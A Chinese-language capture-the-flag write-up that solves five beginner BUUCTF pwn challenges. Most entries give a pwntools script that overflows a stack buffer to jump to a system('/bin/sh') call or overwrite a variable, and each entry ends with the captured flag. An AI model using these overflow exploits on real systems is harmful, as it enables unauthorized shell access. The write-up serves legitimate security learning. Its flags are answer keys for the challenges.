test_your_nc

拿到一個檔案,和題目名稱為test_your_nc,先以nc連上server。

nc node4.buuoj.cn 28172

沒有看到任何東西,隨便輸入個字串發現提示

/bin/sh: 2: 字串: not found

感覺是linux的指令,ls查看一下內容。

bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var

原本我忽略了裡面有什麼東西,還打開IDA來看,結果好像也只是把輸入送進stseam裡面,再看一次ls的輸出,發現就有一個flag檔,直接用cat打開來看。

cat flag

取得flag

flag{5a1968c5-04dd-46e9-9832-c704e1d65513}

rip

用IDA打開附件的程式進行反邊譯,得到下圖。

0000000000401191 的位置上有一個 call _system 的動作,意味著理論上只要讓程式運行到此位置即可。

先用 15 個 A 來將字串s進行填充,再讓程式跳到會呼叫 system 的函式 fun 的開頭即可。

from pwn import *

p = remote("node4.buuoj.cn", 28681)

payload = b'A' * 15 + p64(0x401186)

p.sendline(payload)
p.interactive()

獲取系統權限,cat flag取得flag。

flag{3f344e2b-bf76-4e47-acdc-effdebcdeb0b}

warmup_csaw_2016

跟上一題差不多的做法,char s配置的大小是64 bits,返回的地址是8 bits,相加等於72 bits,前面填充A,後面填要跳到的位置。

進入0x40060d,執行cat flag.txt。

from pwn import *

p = remote('node4.buuoj.cn', 29603)
payload = b'A' * 72 + p64(0x40060d)
# print(payload)
p.writeline(payload)
p.interactive()

取得flag

-Warm Up-
WOW:0x40060d
>flag{e1cac524-0be0-43ce-9f8f-27ee1c49dc33}
timeout: the monitored command dumped core

ciscn_2019_n_1

用IDA打開附件的程式進行反邊譯,main裡面會執行func此函式,所以讓v1溢位到v2即可。

from pwn import *

def float_to_hex(f):
return hex(struct.unpack('<I', struct.pack('<f', f))[0])

sh = remote('node4.buuoj.cn', 26637)
payload = b'A' * 44 + p64(int(float_to_hex(float(11.28125)), 16))
# print(payload)
sh.writeline(payload)
sh.interactive()
Let's guess the number.
flag{42d2e550-a032-4bb5-921b-055167ee15a6}

jarvisoj_level0

用IDA反編譯之後找到會執行vulnerable_function。

ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

塞滿128個A,再塞8個返回字元的空間,之後就可以塞進要跳轉到的記憶體,取得flag。

.text:0000000000400596                 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 push rbp
.text:0000000000400597 mov rbp, rsp
.text:000000000040059A mov edi, offset command ; "/bin/sh"
.text:000000000040059F call _system
.text:00000000004005A4 pop rbp
.text:00000000004005A5 retn
.text:00000000004005A5 callsystem endp
from pwn import *

p = remote('node4.buuoj.cn', 26099)

payload = b'A' * 136 + p64(0x400596)
p.sendline(payload)
p.interactive()

取得flag。

flag{402780ce-1c06-4173-9c4b-6af435651a95}